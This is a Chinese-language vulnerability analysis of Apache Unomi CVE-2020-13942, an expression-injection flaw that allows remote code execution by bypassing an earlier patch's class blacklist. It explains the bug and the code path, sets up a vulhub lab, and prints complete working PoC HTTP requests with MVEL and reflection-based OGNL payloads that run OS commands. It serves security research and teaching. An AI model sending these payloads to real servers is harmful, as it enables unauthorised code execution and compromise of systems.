Apache Unomi 远程表达式代码执行漏洞(CVE-2020-13942)
0x01 漏洞简介
Apache Unomi是一个Java开源客户数据平台,这是一个Java服务器,旨在管理客户,潜在顾客和访问者的数据,并帮助个性化客户体验。Unomi可用于在非常不同的系统(例如CMS,CRM,问题跟踪器,本机移动应用程序等)中集成个性化和配置文件管理。
在Apache Unomi 1.5.1版本之前,存在一处表达式注入漏洞,攻击者可以通过精心构造的MVEL或ONGl表达式来发送恶意请求,使得Unomi服务器执行任意代码,攻击者绕过补丁检测的黑名单,发送恶意请求,在服务器执行任意代码。
0x02 影响版本
Apache Unomi < 1.5.2
0x03 环境搭建
下载环境:https://github.com/vulhub/vulhub/tree/master/unomi/CVE-2020-13942
运行环境:docker-compose up -d
环境启动后,通过http://your-ip:8181
或https://your-ip:9443
即可访问到Unomi的API。
0x04 漏洞分析
CVE-2020-13942漏洞是对CVE-2020-11975漏洞的补丁绕过,CVE-2020-11975的修补程序引入了SecureFilteringClassLoader函数,该函数重写了ClassLoader类的loadClass方法,用黑白名单的方式过滤表达式中使用的类。为什么上一个patch(修复CVE-2020-11975的代码)可被绕过?
因为那个patch的SecureFilteringClassLoader
依赖于这样一个假设: “MVEL和OGNL表达式中的每个类都是通过使用ClassLoader
类的loadClass()
方法加载的。”
事实上,不通过调用loadClass()
方法也能加载类。所以只要不调用loadClass(),就不会被SecureFilteringClassLoader
限制, 也就是绕过了安全管控。
MVEL和OGNL表达式中的每个类都是使用ClassLoader类的loadClass()方法加载的。SecureFilteringClassLoader覆盖了ClassLoader loadClass方法,并引入了allowlist和blocklist检查。事实上,除了调用loadClass()方法外,还有多种加载类的方法,这会导致安全绕过,并使Unomi遭受RCE攻击。Unomi 1.5.1中,允许评估条件使用MVEL表达式,该条件包含任意类。在某些情况下,MVEL表达式使用已实例化的类(例如Runtime或System),而无需调用loadClass()。
MVEL
MVEL表达式使用已经实例化的类,访问那些已经存在的、现有的对象,如Runtime
或System
,不会调用loadClass()
方法。
如,MVEL表达式 Runtime r = Runtime.getRuntime(); r.exec("calc.exe");
因为是访问已经存在的、现有的对象,而不是创建它,所以可绕过SecureFilteringClassLoader类引入的安全检查。
下面的HTTP请求中有一个"条件"(condition),该"条件"(condition)带有1个参数,这个参数包含了一条MVEL表达式:
script::Runtime r = Runtime.getRuntime(); r.exec("touch /tmp/POC");
Unomi会解析这个值,并把script::
之后的Runtime r = Runtime.getRuntime(); r.exec("touch /tmp/POC");
当作一条MVEL表达式去执行。
以下(PoC)HTTP请求中的MVEL表达式创建了一个Runtime对象并运行OS命令。
POST /context.json HTTP/1.1
{
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/mvel\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}
MVEL表达式解析的模式有两种,分别是
- 解释模式
MVEL.eval(expression, vars)
- 编译模式
MVEL.compileExpression(expression) + MVEL.executeExpression(compiled, vars)
倒推分析
通过在源码中搜索关键字script::
与MVEL.executeExpression(
可以初步定位出现问题的代码位于源码的如下位置
\org\apache\unomi\persistence\elasticsearch\conditions\ConditionContextHelper.java
我们构造的恶意表达式就是通过这条代码进行解析从而导致RCE的
基于此方法向上回溯,找调用它的地方
里面的contextServlet.class
对应着我们请求的/context.json
该类继承了HttpServlet
类,且无doGet()
和doPost()
方法,但是有用于处理请求的service()
方法
注:
service()
此方法是接收http-request请求的原始方法,请求会发送到这个方法然后才会向doGet()
或doPost()
分发
这里的contextRequest
就是我们poc传入的body(可以根据getSessionId
等方法以及响应数据判断出来)
接着这里会将contextRequest
作为参数传入handleRequest()
在执行getFilters()
后,拿到的应该是如下部分
{
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/mvel\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}
整体调用链
org.apache.unomi.web.ContextServlet#service() -> org.apache.unomi.web.ContextServlet#handleRequest() -> org.apache.unomi.services.impl.personalization.PersonalizationServiceImpl#filter() -> org.apache.unomi.services.impl.profiles.ProfileServiceImpl#matchCondition() -> org.apache.unomi.persistence.elasticsearch.ElasticSearchPersistenceServiceImpl#testMatch() -> org.apache.unomi.persistence.elasticsearch.conditions.ConditionEvaluatorDispatcher#eval() -> org.apache.unomi.persistence.elasticsearch.conditions.ConditionContextHelper#getContextualCondition() -> org.apache.unomi.persistence.elasticsearch.conditions.ConditionContextHelper#parseParameter() -> org.apache.unomi.persistence.elasticsearch.conditions.ConditionContextHelper#executeScript()
最终被executeScript()
的MVEL.executeExpression(mvelExpressions.get(script), context);
执行
OGNL
下面这种方法可以在不调用loadClass()
的情况下加载"OGNL表达式中的类"(classes inside OGNL expressions)。
例子: 以下这个表达式利用"反射"(reflections)来使用已经存在的、现有的Runtime对象,而不会调用SecureFilteringClassLoader
的loadClass()
方法。
下面的表达式调用Runtime.getruntime()
来得到Runtime对象,然后调用exec()
。
(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).
(#runtimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).
(#runtimeobject = #runtimemethod.invoke(null,null)).
(#execmethod = #runtimeclass.getDeclaredMethods().
{? #this.name.equals(\"exec\")}.
{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.
{? #this.getParameters().length < 2}[0]).
(#execmethod.invoke(#runtimeobject,\"touch /tmp/ognl\"))
- 第一个表达式
#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")
创建一个 java.lang.Runtime 类对象,其中#this 是对上下文对象的引用。 - 第二个表达式
#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]
通过反射获取 Runtime 类的方法列表,并从列表中选择 getRuntime 方法。表达式的{^ #this.name.equals(\"getRuntime\")}
一部分查找名称为 getRuntime 的 Method,并返回符合条件的 Method 列表;此列表中的第一个也是唯一一个方法是 getRuntime。 - 第三个表达式
#runtimeobject = #runtimemethod.invoke(null,null)
调用 getRuntime() 方法并获取 Runtime 对象。 - 第四个表达式
(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0])
获取 Runtime 类的方法,并从方法列表中检索带有单个 String 参数的 Runtime.exec()。 - 最终表达式
#execmethod.invoke(#runtimeobject,\"touch /tmp/ognl\")
使用指定参数调用 Runtime.exec()。
整个的思路是用Class和Method以及Method.invoke
来绕过黑名单。
this.getClass()
是一个Class对象,Class
没有在黑名单中,因此上面Class.forName()
可以执行,同理Class.forName()
会得到一个Class对象,因此runtimeclass.getDeclaredMethods()
可以正常执行,并且返回Runtime的方法数组,Method
没有在黑名单,遍历方法名获取到getRuntime
的Method对象(不可以直接getDeclaredMethod("getRuntime")
会报错),利用invoke执行getRuntime
,同理获取exec
并执行。
payload看起来是一大堆字符,其实挺简单,比如执行系统命令touch /tmp/POC
:
只是用reflection API写了Runtime r = Runtime.getRuntime(); r.exec("touch /tmp/POC");
,并把它包装为OGNL语法。
0x05 漏洞复现
通过8181和9443两个端口均可触发漏洞,以下以8181为例。
通过MVEL表达式执行任意命令:
POST /context.json HTTP/1.1
Host: 192.168.237.129:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 483
{
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/mvel\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}
通过OGNL表达式执行任意命令:
POST /context.json HTTP/1.1
Host: 192.168.237.129:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 1064
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"touch /tmp/ognl\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"sample"
}